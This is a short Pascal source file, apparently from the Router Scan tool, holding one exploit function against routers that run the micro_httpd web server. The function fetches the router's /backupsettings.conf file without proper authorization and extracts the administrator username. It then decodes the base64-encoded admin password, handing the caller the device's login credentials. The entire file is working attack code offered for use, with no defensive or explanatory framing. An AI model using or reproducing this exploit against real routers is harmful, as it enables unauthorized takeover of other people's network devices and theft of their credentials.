// Router Scan exploit
// Copyright (C) Stas'M Corp. 2014

// Project home page:
// http://stascorp.com/load/1-1-0-56

function TRouter.Exploit_MicroDSLBackup(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  S: String;
begin
  Result := False;
  if ServerName <> 'micro_httpd' then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/backupsettings.conf',
  S, Code, 8, 0, ServerName, UseAuth, AuthUser, AuthPass) then
    if Pos('<AdminPassword>', S)>0 then begin
      Result := True;
      if DeleteBetween(S, '<AdminUserName>', '</AdminUserName>') = '' then
        AuthUser := 'admin'
      else
        AuthUser := DeleteBetween(S, '<AdminUserName>', '</AdminUserName>');
      AuthPass := DecodeBase64(DeleteBetween(S, '<AdminPassword>', '</AdminPassword>'));
    end;
end;
